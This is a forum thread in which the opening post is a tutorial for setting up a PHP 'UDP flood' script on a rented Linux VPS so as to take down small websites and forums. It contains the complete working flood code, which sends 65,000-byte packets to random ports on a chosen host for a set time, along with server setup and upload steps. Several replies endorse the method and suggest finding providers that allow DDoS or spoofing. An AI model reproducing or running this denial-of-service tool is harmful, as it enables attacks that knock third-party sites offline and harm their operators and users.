How to shell a VPS server

Sin_mybb_import13631 · 08-15-2015, 04:38 AM

UDP flood php scripts can be extremely strong, the strength of it depends on the strength of the server which it is hosted on. These can easily take down small websites/forums by using a UDP flood php script hosted off a cheap monthly unmetered bandwidth Linux vps.

You will need:

Linux Vps (Ubuntu OS)
WinSCP ftp client
Putty

-

First connect to your vps via ssh through putty. Than login to your vps.

Navigate to this location /etc/apt/sources.list
Add these lines to it and click save.
deb http://us.archive.ubuntu.com/ubuntu dapper universe main restricted universe
deb http://security.ubuntu.com/ubuntu dapper-security universe

Replace "Dapper" with your ubuntu version ex. Jaunty_9.04 , Karmic_9.10, Intrepid_8.10 etc
Then enter your terminal and type
sudo apt-get update

Now for actually installing it.
Enter your terminal again and type the following in order.

sudo apt-get install apache2

sudo apt-get install php5

sudo apt-get install libapache2-mod-php5

sudo /etc/init.d/apache2 restart

Now take this script below and paste it into a notepad file and save it as shell.php.

Code:

Code:
<html>
<body>
<font color="00FF00">
<img src="http://authkeys.com/sh3ll/logo.png" ALIGN=RIGHT>
<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style>
<br>
<p>
<br>
<p>
<center>
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."<br>";
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=0;$i<65000;$i++){
    $out .= 'X';
    }
    while(1){
    $packets++;
    if(time() > $max_time){
  break;
    }
    $rand = rand(1,65000);
    $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
    if($fp){
  fwrite($fp, $out);
  fclose($fp);
    }
    }
    echo "<b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
    echo '<br><br>
  <form action="'.$surl.'" method=GET>
  <input type="hidden" name="act" value="phptools">
  Host: <br><input type=text name=host><br>
  Length (seconds): <br><input type=text name=time><br>
  <input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
    <form action=? method=GET>
    <input type="hidden" name="act" value="phptools">
    Host: <br><input type=text name=host value=><br>
    Length (seconds): <br><input type=text name=time value=><br><br>
    <input type=submit value=Go></form>';
}
?>
</center>
</body>
</html>

Now open WinSCP and connect to your vps and upload the shell.php file to your /var/www/ directory. Than access it via web, type in the IP at the top, and time-in-seconds to disconnect them at the bottom, click go and your target is now disconnected.

-

Hope this helped. If you have any questions feel free to post them.

-

Skrillex · 08-15-2015, 06:13 AM

This is honestly what I registered to see.

I really like using VPS's for things other than what they were intended for! Biggrin

Kevin_SF · 08-15-2015, 11:49 AM

Ohh so that's how it's done. I honestly feel kinda bad now...

Yagmi · 10-04-2015, 11:24 AM

I wouldn't recommend manually uploading a webshell to your box rather than using other sort of script or whatever you want to call it.
It's limited to php execution time, it's more publicly avaliable, and just why are you setting up a webserver just to UDP flood???

c0eus · 10-05-2015, 07:27 AM

Great tutorial. I would just like to mention that most likely your average VPS provider is not going to allow you to do this, you are going to have to find one that will allow DDoS or spoofing (usually either of these two things is an indication for the other).

(10-04-2015, 11:24 AM)Yagmi Wrote: I wouldn't recommend manually uploading a webshell to your box rather than using other sort of script or whatever you want to call it.
It's limited to php execution time, it's more publicly avaliable, and just why are you setting up a webserver just to UDP flood???

I think that the webserver is just for demonstration purposes. The obviously more effective and better way to do this would be by just using SSH and then calling the script from there instead of from the webserver, however this method is a lot better for a demo, and is much easier.

Yagmi · 10-05-2015, 03:57 PM

(10-05-2015, 07:27 AM)c0eus Wrote: Great tutorial. I would just like to mention that most likely your average VPS provider is not going to allow you to do this, you are going to have to find one that will allow DDoS or spoofing (usually either of these two things is an indication for the other).

I think that the webserver is just for demonstration purposes. The obviously more effective and better way to do this would be by just using SSH and then calling the script from there instead of from the webserver, however this method is a lot better for a demo, and is much easier.

It's not really better for a demo, kaiten would be better and easier for a demo.

Sin_mybb_import13631 · 10-05-2015, 04:00 PM

@Yagmi @c0eus It's just a tutorial, Didn't say its the best / easiest way / best demo / its literally just helping people learn. No need to argue.

c0eus · 10-05-2015, 06:44 PM

(10-05-2015, 04:00 PM)Sin Wrote: @Yagmi @c0eus It's just a tutorial, Didn't say its the best / easiest way / best demo / its literally just helping people learn. No need to argue.

That's exactly what I was saying. There are of course better ways of doing this but for demonstration purposes, this method works much better.

Zyionz · 10-05-2015, 06:46 PM

U didn't write this

Sin_mybb_import13631 · 10-05-2015, 06:50 PM

(10-05-2015, 06:46 PM)Zyionz Wrote: U didn't write this

I did, it was on my pastebin for about 3 years(had 1.8K views) till I took it down and put it here instead.

I have no physical proof as I said, I removed it from my pastebin, as well as most things relating to personal matters.

http://pastebin.com/u/pot-pie (cringe worthy stuff here though guys Biggrin

)

How to shell a VPS server
Author Message